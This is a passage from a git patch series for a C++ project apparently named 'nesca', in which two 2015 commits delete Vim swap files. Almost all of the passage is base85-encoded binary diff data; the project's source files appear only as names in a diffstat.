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 E0Yu(X?*IS* From cd70f5b994206515dba9f3af6c2a13ddcc0c2200 Mon Sep 17 00:00:00 2001 From: cora48 Date: Thu, 26 Feb 2015 10:08:44 +0300 Subject: [PATCH 12/66] uhhuhuhu --- .CheckKey_Th.cpp.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .CheckKey_Th.cpp.swp diff --git a/.CheckKey_Th.cpp.swp b/.CheckKey_Th.cpp.swp deleted file mode 100644 index 2cb153db70d9375440db4299cf02bd46168e990c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWlj&8OLY0Y+FMwlolb75GUShH4ctrC)uRy-Gq7*XA^C1jh$VVv{>VrV|$1_ zXta;r{hpQmM^zz}0!jg;fKosypcGIFC|4dyHnGC4!#GT1((4l*Z{}Cy&wX9bBCtA z3|<0Pz?Z=nz#7PcBR~VM->zx@0MCFc;PapiR=_fdgZG2?g4b`;v>$;VfbWB=;9KA_ zcpM18K@s$Ud%#`bU++R5;Cb*g_&WF;co>`mE8rCP0Qkc@HSHDfGPnw^fJZ?M%z!>{ z3%D6v!@Cf#fv3PU_~EUZ_5xS~f4T+ffM>urK@ofi+zD<2pT1es>c9jA@NsY)jDUMV zA9&)3racBe3oe08umLWB47eY>4`|@W??C?GyWm;yZSVy6D!2z628X~kY{>i>yb68` zeg>Wg&w($3^B@O42(F>+e+PaA9s}#33Ce)%!T<-qB9X`?4SymY7Y)y01F4fR9bA*S z+~VZfY+m+&2{+N#7AMOnvi?e7Li*iJUZzdY+8)pkEb8}QWq~Ff7 z=9iIfXPJ=rcG_Lu?Npc+p~A9$F$7`5pHlcsxbJF;-iFwBGkDx=>M<5HEw>VE(r~B& z$eooux5kP_)o@Ji^|2^admtyWP!Q3+aWdbdS7@6kI>RsT~s=I!jVQrZ|+hA z3?CKO7vp6v=)1V-7&Xpx^s1cKM9S6|+#7 zyl@6#3k4cQXBKn$>_VRPQ)7{cWTe|;YV<+xL5GmTaF5Sq&Zrb(TlU^{KQ z4dj$h6~`)~n08&Pj*e_US=wH5;?nDd(Q`GG9O{VC{m71V4Jp^3Cee%ulbW)q?3fv~ zpRcXqU~P^&>=c7>;kmSPe(>fpE7`niQC_@O7n|*T(DP*$c#hLEmmZnHeQO$pHe2GJ zkMg2bw=@cX-|}T(?#&yvqsOEp$HZ{9w0IT`LGwtIRf;43kPSQ3^cIHDII9aUg#q~@ z>g8XYqFKa8=q?@Jk@aAfhK%4iPN8WgNRh~63!u=_wPR)$Or)f1Yldc1AY_CAHYcP_ zB5n{h)t-*EreG8lnW3Qg*t+kTD4{Ss5k~EpGX#|gN-i~Ny0*nIWak=1gqCwr)-O{C zO4UjyjyW>T{DK0t?tXI0-J+-4b?!{bKxC04Elj?Q~9dfr44V0iscdP8OQU2$( z&u+YR^|hn6V^$j$XHmW(xaUka9Fx{OexefX@uUUNPWK$%kKYkc_7%KLzad|p@AX1= zqIc@aqwX2yn!#L5%Qag6uVamCVoglz|JM2aPq4Os5qt``pa=@!0yqa|!3?+`(0;&Q zu*UxdcpCf@Yxt|+Iq)4o>;21sgB+L!r$Gip!Cl}Ea4R?h{)V;uU%{*3r{Ei43ET}1 zfomx1E8zFwm*7S4HSiViIQSCS0-K-&sBT4|E~S7{Kq;UUPzopolmbctrNDnd0a~1P zFJ@_xD;IPf|L>YkdktFWY7_xX1Q$z{hDNPYa%}9x*yzZKVKa3iHCh_OZ}Yxk%S;Yi zMrvf_c*$r_?6LCmco}O6Z9KSe>=j&WCYzb+Uf=ibI%D}-p5nzudET`+w&Zpk%1Dpx z{mXDiUv8|+<=f8C*Wa5MI31o0V5`24{~os3x=s5Ojy$}fH8QqA|m34R@vorZcm1eJtZJ zP6sv2HO+=c2R{1#k9A^fh8q_5((F`YVn;MODVlRlqk7+ITj&)TN}dFr8bnBGR_&b+ ztiEM4$U`w~6sA}dCuDNFGR}giaXRKhCkhUC0=LeMwgb1vfefniw5``Ry7$+5TVWwL zkoOEa^*o*&W~cEBW+9I`J?__CZ0tMb;H)z=W7^ Date: Thu, 26 Feb 2015 17:20:37 +0300 Subject: [PATCH 13/66] eclipse commit, cp-refactoring --- .CheckKey_Th.cpp.LOCAL.2427.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.LOCAL.2593.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.LOCAL.2715.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.LOCAL.2915.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.REMOTE.2427.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.REMOTE.2915.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.swp | Bin 16384 -> 0 bytes connector.cpp | 100 ++++++++---- externFunctions.h | 3 +- finder.cpp | 69 ++++---- mainResources.h | 4 +- nesca.pro | 3 +- nesca_3.cpp | 19 ++- nesca_startModule.cpp | 233 +++++++++++++++++---------- 14 files changed, 278 insertions(+), 153 deletions(-) delete mode 100644 .CheckKey_Th.cpp.LOCAL.2427.cpp.swp delete mode 100644 .CheckKey_Th.cpp.LOCAL.2593.cpp.swp delete mode 100644 .CheckKey_Th.cpp.LOCAL.2715.cpp.swp delete mode 100644 .CheckKey_Th.cpp.LOCAL.2915.cpp.swp delete mode 100644 .CheckKey_Th.cpp.REMOTE.2427.cpp.swp delete mode 100644 .CheckKey_Th.cpp.REMOTE.2915.cpp.swp delete mode 100644 .CheckKey_Th.cpp.swp diff --git a/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp deleted file mode 100644 index 96cb604df7d58767e0d399ed0e517789fa481b6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 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 diff --git a/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp deleted file mode 100644 index ceb9b6cfddc8cb9c608c135618268a6b741b0fd3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWllM8OIO11?mEYQd(3b)DtgS&7_H)WOqUJl5JDRyNNcp#$LADu(ifB$M!V# z88dV2B)hCC0Z%|5TD3e>q7vevTUwAnJOh;~A*fV|$MRIEt=gAfB=)JIm;ZNW#&P28 zg$0Qgol$u;+xvdX)MpqAgFsR6)sFSZ z>4}yvdRIx9Zw76VU++cv*}(0#g;Y_#xDp266)t{B5xGvj*c9&iNwHO}G;?mJlUrCW z&Mf4nj(qhHonFO&i8cxt1+JjLZS2t0gL-$SGJB@KH#`MzP-_kWUu($eun{Ke9A|4!m>O~Usl5ovr9Y`%;F zMggOMQNSo*6fg=H1&jhl0i%FXz$jo8_!ty$JjM#JTcZsCJpWJc|KGcvv3J4i;3e=3 z*aDm2Ah-`?z#l%#*gN32;3D`j_yJf4C2%8P;QiYe`zLq-Tm;_-4R8vqf-&$V@CEQb zHWA(ezXorB*T65pGvG%+0Rd`Y1l$Ea2mW;nY=Bq6&%pEGY48Ym2%G{Bf_uPU@P5Oe z!8_nJa1lHX+F%ZhfSbWh;8KRM_rP=DIC%5ZjQt9%gTLL3a=;7V=b#3@3~mRvg2!%R ztOHz71>XTjz+rG77y-}T$kHUzie0){7!tV)>Mmx1Cvr{#Mi*|^a2RI*>UT9O~*_aC2 z(_BsQajquuff8CmTG^&jokBjJWJdfnMd8n~+@=$b+7^<3WjMJ##LXCeIg2{LkRrO-(BF_chs>auMUDB;^83>HN@2)E*z z4#c9uNmF*ti4V~ck&xbA9YNt-1s`!YB zJCmr7x~aN%lh&rz;|A-o<#-+zgo6|^gP&vR5J&@T8k#$scSf{Y!Nz5lwN>#*7vr5) zvSeNJJGq>m4lEO|mYm9_!Gtgfv|4r3Is=RiWj@NOWoXjJ+Avh&dYe|Rc4e-7<@Wh??uk0u?pdejmkv$Y{Lx4IA=N#C z(y)UE`AC|xS}mSAfwa{st)g?w+iPm};qYNe=w)~)rWnscT%QZv zZ3U6oJK49!m*|bo-k}1ogx%pp$#ByXWWY9`t5jCPz+QBx`Q=M5&^)qk+jB)#IuYgt(~irV3BuIkJ66Ia1>V0waJO8fgHOp*_mBS%H`c8 z@|fV%G*okkXVkyGrpv+lf{^?{j=_cN(oX;2gBh#)qUDh-(e9|Nz8%bbZ35SEy5`a) zGd@q
Hi2qV-Ny?UNe0{qr51B-Cc@ug+!Kmo^azP@}C9YKC1>Z--jA2fy~b-jlr zbc}aYIEe-M9NHC~n<&OM@Wjt~7FObHM2vJbOW?Ayo~qbcO=wv1uxTY z>R0E7qcEN5oqCGsgifRF@BnT(qx=8g;Qst>+{@GbKW?M-@k^Ws;4D}H%ituK11CTp zjDvds<^3Wshf%;NU=%P47zK<1MggOMQNSo*6fg=H1^&+zpbe$n8&I?{r8i*){ztt~ z2)nd5#V7;Vy>~YJL8+8SsV~3pH~x*} dsT&@Hb?~409^de34^Zj{qqP5oM+|y*?!Sul0#*P3 diff --git a/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp deleted file mode 100644 index 644ffad324e09c85d501d9b33f71367afc5bec75..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWlj&8OKj|X^WwyTnZJH5GUShH4_p$&hEC7w^;~|cN1-H#NIC3bg{-W$Mz8W zj5~AeB)eT9QJyF~fS?aZtyJ;AwuK5%p9@Gx2#`R1q)(LqwJ$A5-6vEo|L@F<pJ$4P41E_7->soCLr5AY;D*8{o~`Q4V+xJPYdJv*0dp2l)DJ zjCFwvYTzs27&r><17qN+TN!%-d=p#(+h7Zv1GC@@;2yxh?>+$g;OF24@DuP9_yM>Z z900d~D+d|-JNO&;3-}Xw5&R5%7n}tZ@ELFgeg9YRDtH2Hf<9;h8W#?@`6H9bTw?gh zghKT~$tMfPF?4X0DwUPe>2lSI0(ZkcuEQdwCQo=lx#KH8kZZy_8T6z#=P1X@uH&^3 z?$Y}q=lSHCaE0F&9*;!W7a@;S=*uSeBQ68Q`%c^U#r<&X z&S$uq=963%@PQKALR#6DQr%)cpJYb-3`OD3vfP#vj@uTJe{M9nJ;Ad{F0u%N?<5-^ zo8il678j{@D1TtH6E#upaGg;2PT6~+2c>Y9p~~`cH4R~tpIZ1!IN#G1qaAU>-4F`5 zZ`nNVTH)n*$&u6n6wVuA(BXBb?MPRIV>}DhzEsiuR4mF~r!GS4Y-RS8P>W8a%3&CU zmTe&R4_{BI}m&dYHMw%l=WkU>GKf&;uIOVu~KLx`xr{7I(6BO36$`#2!kcj3Bv8T zrbDr)aMG0BbK+feL?ooQUq?_lSHXMS4T(D1D9zqf<9G_C8t>Q2{igj5k2W`u67P!b z*UlvBy>6=R-K4dt^|--$Y&o8X1>rD-%;M)nIt0=Hn}+7@=A9GmcCdMsWo=D7+QWFK zl`L7;{BAC%rvuBxt0kwhX|Ul-D2vaYtSu~;s}r1}YnAF+d3I@nFRZSvtyEWP)zT`r zk8^ei!@zH_jA%!KWBF(Wk(y}=Mc?&p>2w6QFsmwIA2Y+UdNT5x602)Fkj-(M4_cUu zd|9Jb+v`&_S@tF!x2eR*6D^&n*7hSsDe(s(VAq#I>8R8iO~Zxd*}1v3+VaYB+1BkM zEeDozkCT#(eI$HD5_%aPi7Cai5ZC7- zciTZE_D}ZZ$z^(@vwx(>t6^_6Q8L{01R1i;=d0D#d?7bQ6_`i;ihQJe%Ib#k+#1Rn zUwx^*-DJ(po+?*$b~G@Vqk3F*gAf-L-co^#EJp=?G8|VCz6hz~c{`k=;dK1=Hu5C% zja1WR(qyRlaxiXVIrUXVdUaIO@2d6tkM3Mq22t8^8I8i~xn7u>9?G%zlAYPJq+H!i zB9949O;fdYc}9clYq}h4EDFgV*EUK$J`aE4NoCrFtn;vzt$b?A_17CTZpH1*JY zN(4h#U@JQ76$HE>Vi>H7(+$z=UY+eqK3)|Rg!hcXNVgS*IaAT4}6bf$*%P3 zNUeQQKCVlMYn7HW0Uwz>zqmr_SzKJ)ToS{+u6E?(UZ^CMyD1^bsUDOtBzIb9tOPmT zY29_F{MTz=-g@`yvqQdg+dWV4tk_Z_lqY-ArF)(z*UFAW(hbn=@Cx3K-<43$6}(Kp zrC*&Njly)Icj_sk8#>L7!vnbGjPCz`kNfj`a4%2y|G16T$B%Iyfb(D#tbo&C9-IPs zFbVDjl=oA>97X}7fKk9GU=%P47zK<1MggOMQNSo*6!;%gfHsu&Za~q-l-`6H`XBXT zG3?Ra6r&7a@7~$y6CG>~HRnXV*IWubf$i>H4?K0m&a;8!X_?Mx&HwEHv>Qb diff --git a/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp deleted file mode 100644 index 2252168b52089ec143d35924174e6172140800fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 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 diff --git a/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp b/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp deleted file mode 100644 index f5341546763af36b7ce58c3fab653c34c96e0ab2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWlOx8OKjk+Op76F6AmAjyF{_W9+rpNs8Fi0b_3xE56mcZU}B!&CZ?fOlDZjAq8|>0s84H6zQSg;M z8SoT12yl&w5ujJE7!aqL{e|>WPp5*wCf%xRq9E<`+ z0i%FXz$jo8FbWt2i~>dhqkvJsC}0$L0~ByP#tNvnN*e%p{-56ezjP~OzXCr3Pl1QQ z7T5#_!0jLde*ZSco(I1G7s1!Sm%#=of*Sw>uiV1e%iu|H5qt^M!5UZvW8nSZ-Qbm* z8T%P{4m=B<0p9@+gRcSw1gL@$a2t3B_$S_3co{qmz6~A+4}$x^-Czye2|fV+{1(Rk z1fB=afQ#S(&;lpG2)GH{2rg$BdkH)Sj)9-PnXw;(4e;VkC;u<<%h-_l8~7{u1NbF)8hjso1)KsU@Ii1Heg8-BTW|rK0bNiBG%g%)?Vn60bDrTV z6AIM{B_Gcp!O+2Hwp3c4Jy|SUQQ&UaM|4=E)c8>^D7Jj%2Xa+-$AXUZ<{af%*>$`Y z!d-elRSrjS;)p;WstF_C0O{4_=3&$8Tx6OP&zl7DzOxjn|SNiM1p6~3Bm zd}Nw0tt~82>rj5L&Q?@Mx&3WI;oD^oME6SJEJKauqiPDmCO@_C=W#yJ6~i5I)!h&Z zw`gPScUD2uFAps@+x6{ZuH(POBr`pxxKImDq>5n} zgqCe1Q8uT=j}28KQha(E!^Xz2(XEHBuA?k%d$m)mQ8y#;nTFpKmKA5vEzl!tjO&Dv ze^vxF%7l)ZL_H9E5^8I0sFd}?`Kfy${JBZ0!LfWaf=Er*g`#71OFAvVEzGJ?*u~7Std5NQy2R?*3}k)O<~<8@ zkuNJ`wY@$`lVvdJs7)n~A8qJFm8KslN{K%RfqH!@l#WVkqiHz5G&481T3K3ND%#pE z(y~`mF47rL*-+*qoGgP$Z>V8t#I>4Ms&r(o^q=kXYupnx*zQ@U=9dmm+5G{k6}7E>+CQvnWK7KwSy2B72Z&Rj4Ve5eli?a5WWDZ<9XYkqvo{y<`(iK z^Nm!~WzuA*__8-{V>$IzMS4{<({HQwI}UAMS$a|0aT$)n>bahuoa)Olc*)KTEGc`t zN#rrXsi~{R4$r7}eNC5xjRhh3og9M;*QK5Q!KMA#PP#&KP`T^8DfkrDt(*vAHCMeMRla$30t08h1@Xl2hF)p-=9#&{zp_ 